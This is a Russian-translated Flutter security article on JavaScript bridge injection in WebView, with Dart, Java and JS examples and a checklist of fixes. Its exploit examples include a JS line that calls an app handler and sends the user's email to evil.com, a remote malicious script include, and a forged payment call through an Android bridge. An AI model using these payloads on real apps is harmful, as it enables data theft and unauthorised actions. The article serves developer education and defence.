Часть 11: Внедрение JavaScript Bridge в WebView — как Flutter позволяет выполнять код Dart из JS

Часть 11: Внедрение JavaScript Bridge в WebView — как Flutter позволяет выполнять код Dart из JS

FlutterPulse

Эта статья переведена специально для канала FlutterPulse. В этом канале вы найдёте много интересных вещей, связанных с Flutter. Не забывайте подписываться! 🚀

Многие приложения Flutter встраивают веб-контент через WebView, что обеспечивает бесшовную интеграцию с внешними страницами, платежными шлюзами или справочными центрами приложений.

Но если вы используете WebView с включенным JavaScript, и вы хотите открыть мост JS-to-Dart, вы открываете дверь к одному из самых опасных уязвимостей мобильных приложений:

Инъекция JavaScript Bridge — где вредоносные веб-страницы запускают выполнение родного кода Dart/Java/Kotlin внутри WebView.

Давайте разберемся, как это работает, как атакующие используют это и как избежать превращения вашего приложения Flutter в удаленный двигатель выполнения.

Какова проблема?

WebView Flutter (например, flutter_inappwebview) позволяет родной ↔ веб-коммуникации, используя:

  • addJavaScriptHandler() в Dart
  • addJavascriptInterface() в Android Java
  • window.webkit.messageHandlers в iOS

Если эти интерфейсы暴 открыты небезопасному контенту, они могут быть злоупотреблены для:

  • Выполнение родного кода
  • Запуск чувствительных функций приложения
  • Доступ к данным вне WebView

️‍️ Реальные сценарии эксплуатации

Эксплуатация 1: Внедрение вредоносного JS через внешний сайт

Предположим, ваше приложение открывает:

InAppWebView(
  initialUrlRequest: URLRequest(url: Uri.parse("https://example.com")),
  onWebViewCreated: (controller) {
    controller.addJavaScriptHandler(
      handlerName: "getUserInfo",
      callback: (args) {
        return getUserEmail(); // метод Dart/родной код
      },
    );
  },
);

Если https://example.com скомпрометирован или включает в себя 3-сторонние скрипты, атакующий внедряет:

window.flutter_inappwebview.callHandler('getUserInfo')
 .then(userEmail => {
    fetch('https://evil.com/log?e=' + userEmail);
  });

Результат: Данные вашего пользователя перехватываются.

Эксплуатация 2: Загрузка локального HTML с внешним JS

Даже если вы загрузите assets/help.html, если оно включает:

<script src="https://cdn.badcdn.com/malicious.js"></script>

…удаленный скрипт может вызвать window.flutter_inappwebview.callHandler() для запуска кода Dart.

Эксплойт 3: Обратная связь родного интерфейса в Android WebView

Если использовать addJavascriptInterface() как это:

webView.addJavascriptInterface(new JSBridge(), "Android");

…тогда любой код JS на странице может вызвать:

Android.doPayment("999", "attacker");

И родной код будет выполнен.

Реальное влияние

Уровень риска: КРИТИЧЕСКИЙ

️ Как исправить

Исправление 1: Никогда не обнажать обработчики JavaScript для непроверенных страниц

Ограничить мосты JS только доверенными, локальными HTML или закодированными активами.

Плохо:

InAppWebView(url: "https://user-site.com");

с обработчиком:

controller.addJavaScriptHandler(handlerName: "getUserData", callback:...)

Исправление 2: Внедрение белого списка происхождения

Прежде чем выполнять что-либо из обработчика JS, проверьте происхождение:

callback: (args) {
  if (allowedOrigins.contains(currentUrl)) {
    return getUserToken();
  } else {
    return null;
  }
}

Или откройте обработчики только для ресурсов localhost/internal.

Исправление 3: Отключить JavaScript, если это не требуется

Установить:

initialOptions: InAppWebViewGroupOptions(
  crossPlatform: InAppWebViewOptions(javaScriptEnabled: false),
)

Включайте JS только для страниц, которые вы полностью контролируете.

Исправление 4: Никогда не доверяйте аргументам из JavaScript

Проверьте и очистите все, что поступает из обработчиков JS:

controller.addJavaScriptHandler(
  handlerName: "makeTransfer",
  callback: (args) {
    final amount = double.tryParse(args[0]);
    if (amount == null || amount > maxLimit) return;
    return transferToUser(amount);
  },
);

Исправление 5: Отключить или ограничить отладку WebView в производстве

if (BuildConfig.DEBUG) {
    WebView.setWebContentsDebuggingEnabled(true);
}

В производстве это всегда должно быть false.

Анти-шаблоны, которых следует избегать

Чек-лист для разработчиков

  • Открывать обработчики JS только для доверенных статических HTML
  • Избегать загрузки недоверенных или сгенерированных пользователем URL-адресов в WebView
  • Проверять все входные данные из JS перед выполнением родного кода
  • Отключать JavaScript в WebView по умолчанию
  • Предотвращать отладку WebView в сборках для производства
  • Использовать CSP (Content-Security-Policy) в локальном HTML, когда это возможно
  • Никогда не выполнять произвольные обратные вызовы Dart/JS без строгой проверки

Report Page